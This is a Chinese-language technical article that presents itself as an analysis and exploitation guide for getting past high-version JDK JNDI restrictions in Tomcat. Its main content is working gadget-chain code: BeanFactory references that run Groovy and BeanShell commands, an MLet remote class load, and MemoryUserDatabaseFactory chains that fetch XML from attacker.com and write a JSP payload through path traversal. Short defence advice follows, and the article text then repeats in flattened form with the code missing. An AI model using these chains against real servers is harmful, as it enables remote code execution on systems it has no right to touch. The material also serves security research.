Tomcat下JNDI高版本绕过浅析
字数 1879 2025-08-29 08:31:35

Tomcat下JNDI高版本绕过技术分析与利用指南

一、背景与概述

在Log4j漏洞事件后,JNDI注入漏洞利用研究成为热点。高版本JDK对JNDI注入进行了防护限制,本文深入分析Tomcat环境下绕过这些限制的技术方法。

二、JNDI高版本防护机制

高版本JDK主要防护机制:

  • 限制远程ObjectFactory的加载
  • 仅当开启特定属性时才允许从远程地址获取ObjectFactory
  • 加载顺序:先本地ClassPath → 失败后才加载远程

关键代码逻辑:

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) {
    // 首先加载当前环境下ClassPath下的ObjectFactory
    try {
        clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // 当前ClassPath加载失败才会加载classFactoryLocation中指定地址的ObjectFactory
        if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
            clas = helper.loadClass(factoryName, codebase);
        }
    }
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

三、绕过思路与技术实现

1. 核心绕过思路

寻找javax.naming.spi.ObjectFactory接口的实现类,利用其getObjectInstance方法执行恶意操作。在Tomcat中,BeanFactory#getObjectInstance提供了扩展利用面。

调用限制条件:

  1. 类必须包含public无参构造方法
  2. 调用的方法必须是public方法
  3. 方法只能有一个String类型参数

2. 常规绕过方法

(1) 直接命令执行方式

类与方法 说明 适用环境
javax.el.ELProcessor#eval 执行EL表达式 Tomcat8+
groovy.lang.GroovyShell#evaluate 执行Groovy命令 需Groovy环境
org.mvel2.MVEL#eval 执行MVEL表达式 MVEL 2.0.17及以下
org.mvel2.sh.ShellSession#exec 间接调用MVEL MVEL高版本
bsh.Interpreter#eval 执行BeanShell命令 需BeanShell环境

(2) 反序列化利用方式

类与方法 说明 依赖组件
com.thoughtworks.xstream.XStream#fromXML XStream反序列化 XStream
org.yaml.snakeyaml.Yaml#load Yaml反序列化 SnakeYAML

(3) 其他利用方式

类与方法 说明 限制条件
com.sun.glass.utils.NativeLibLoader#loadLibrary 加载DLL 需提前上传DLL
org.apache.catalina.users.MemoryUserDatabaseFactory XXE+文件写入 Tomcat特定版本

3. 关键利用链分析

(1) MVEL调用链挖掘

CodeQL分析过程

/**
 * @name Tainttrack Context lookup 
 * @kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph

class MVEL extends RefType{
    MVEL(){
        this.hasQualifiedName("org.mvel2", "MVEL")
    }
}

class CallEval extends Method {
    CallEval(){
        this.getNumberOfParameters() = 1 and 
        this.getParameter(0).getType() instanceof TypeString
    }
    Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}

predicate isEval(Expr arg) {
    exists(MethodAccess ma | 
        ma.getMethod().getName()="eval" and 
        ma.getMethod().getDeclaringType() instanceof MVEL and 
        arg = ma.getArgument(0)
    )
}

class TainttrackLookup extends TaintTracking::Configuration {
    TainttrackLookup() { this = "TainttrackLookup" }
    
    override predicate isSource(DataFlow::Node source) {
        exists(CallEval evalMethod | 
            source.asParameter() = evalMethod.getAnUntrustedParameter()
        )
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg | isEval(arg) and sink.asExpr() = arg )
    }
    
    override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
        exists(MethodAccess ma,MethodAccess ma2 | 
            ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System") and 
            ma.getMethod().hasName("arraycopy") and 
            fromNode.asExpr()=ma.getArgument(0) and 
            ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command") and 
            ma2.getMethod().hasName("execute") and 
            toNode.asExpr()=ma2.getArgument(1)
        )
    }
}

(2) GroovyClassLoader利用

直接执行Groovy代码

ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, 
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
    " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
    "})\n" +
    "def x\n";
ref.add(new StringRefAddr("x", script));

(3) BeanShell利用

ResourceRef ref = new ResourceRef("bsh.Interpreter", null,
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=eval"));
ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
return ref;

4. MemoryUserDatabaseFactory利用链

(1) XXE漏洞利用

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://attacker.com/malicious.xml"));
ref.add(new StringRefAddr("readonly", "false"));

(2) 文件写入RCE

Tomcat7利用

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="<%Runtime.getRuntime().exec(\"calc.exe\")%>"/>
</tomcat-users>

利用代码

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));

四、BeanFactory多方法调用机制

1. 调用流程分析

  1. 从Reference对象获取类名并实例化(仅一次)
  2. 从forceString属性获取方法列表(逗号分隔)
  3. 遍历方法列表,解析方法名(支持method=alias格式)
  4. 通过反射获取Method对象并存入Map
  5. 遍历Reference属性,动态调用对应方法

2. 多方法调用示例

ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null,
    true, "org.apache.naming.factory.BeanFactory", null);
// 指定要调用的方法名及别名
ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
// 为不同方法赋值
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "ExploitClass"));

五、防御建议

  1. 升级JDK到最新版本
  2. 限制JNDI查找能力
  3. 对Tomcat等中间件进行安全加固
  4. 监控可疑的JNDI查找行为
  5. 移除不必要的ObjectFactory实现类

六、总结

本文详细分析了Tomcat环境下JNDI高版本绕过的多种技术方案,重点包括:

  1. 通过本地ClassPath中的ObjectFactory实现类绕过
  2. 利用BeanFactory的多方法调用机制
  3. 多种命令执行方式(EL、Groovy、MVEL、BeanShell)
  4. 反序列化漏洞间接利用(XStream、SnakeYAML)
  5. MemoryUserDatabaseFactory的XXE和文件写入利用

这些技术方案为安全研究人员提供了绕过高版本JDK限制的有效途径,同时也强调了系统加固的重要性。

Tomcat下JNDI高版本绕过技术分析与利用指南 一、背景与概述 在Log4j漏洞事件后,JNDI注入漏洞利用研究成为热点。高版本JDK对JNDI注入进行了防护限制,本文深入分析Tomcat环境下绕过这些限制的技术方法。 二、JNDI高版本防护机制 高版本JDK主要防护机制: 限制远程ObjectFactory的加载 仅当开启特定属性时才允许从远程地址获取ObjectFactory 加载顺序:先本地ClassPath → 失败后才加载远程 关键代码逻辑: 三、绕过思路与技术实现 1. 核心绕过思路 寻找 javax.naming.spi.ObjectFactory 接口的实现类,利用其 getObjectInstance 方法执行恶意操作。在Tomcat中, BeanFactory#getObjectInstance 提供了扩展利用面。 调用限制条件: 类必须包含public无参构造方法 调用的方法必须是public方法 方法只能有一个String类型参数 2. 常规绕过方法 (1) 直接命令执行方式 | 类与方法 | 说明 | 适用环境 | |---------|------|---------| | javax.el.ELProcessor#eval | 执行EL表达式 | Tomcat8+ | | groovy.lang.GroovyShell#evaluate | 执行Groovy命令 | 需Groovy环境 | | org.mvel2.MVEL#eval | 执行MVEL表达式 | MVEL 2.0.17及以下 | | org.mvel2.sh.ShellSession#exec | 间接调用MVEL | MVEL高版本 | | bsh.Interpreter#eval | 执行BeanShell命令 | 需BeanShell环境 | (2) 反序列化利用方式 | 类与方法 | 说明 | 依赖组件 | |---------|------|---------| | com.thoughtworks.xstream.XStream#fromXML | XStream反序列化 | XStream | | org.yaml.snakeyaml.Yaml#load | Yaml反序列化 | SnakeYAML | (3) 其他利用方式 | 类与方法 | 说明 | 限制条件 | |---------|------|---------| | com.sun.glass.utils.NativeLibLoader#loadLibrary | 加载DLL | 需提前上传DLL | | org.apache.catalina.users.MemoryUserDatabaseFactory | XXE+文件写入 | Tomcat特定版本 | 3. 关键利用链分析 (1) MVEL调用链挖掘 CodeQL分析过程 : (2) GroovyClassLoader利用 直接执行Groovy代码 : (3) BeanShell利用 4. MemoryUserDatabaseFactory利用链 (1) XXE漏洞利用 (2) 文件写入RCE Tomcat7利用 : 利用代码 : 四、BeanFactory多方法调用机制 1. 调用流程分析 从Reference对象获取类名并实例化(仅一次) 从forceString属性获取方法列表(逗号分隔) 遍历方法列表,解析方法名(支持 method=alias 格式) 通过反射获取Method对象并存入Map 遍历Reference属性,动态调用对应方法 2. 多方法调用示例 五、防御建议 升级JDK到最新版本 限制JNDI查找能力 对Tomcat等中间件进行安全加固 监控可疑的JNDI查找行为 移除不必要的ObjectFactory实现类 六、总结 本文详细分析了Tomcat环境下JNDI高版本绕过的多种技术方案,重点包括: 通过本地ClassPath中的ObjectFactory实现类绕过 利用BeanFactory的多方法调用机制 多种命令执行方式(EL、Groovy、MVEL、BeanShell) 反序列化漏洞间接利用(XStream、SnakeYAML) MemoryUserDatabaseFactory的XXE和文件写入利用 这些技术方案为安全研究人员提供了绕过高版本JDK限制的有效途径,同时也强调了系统加固的重要性。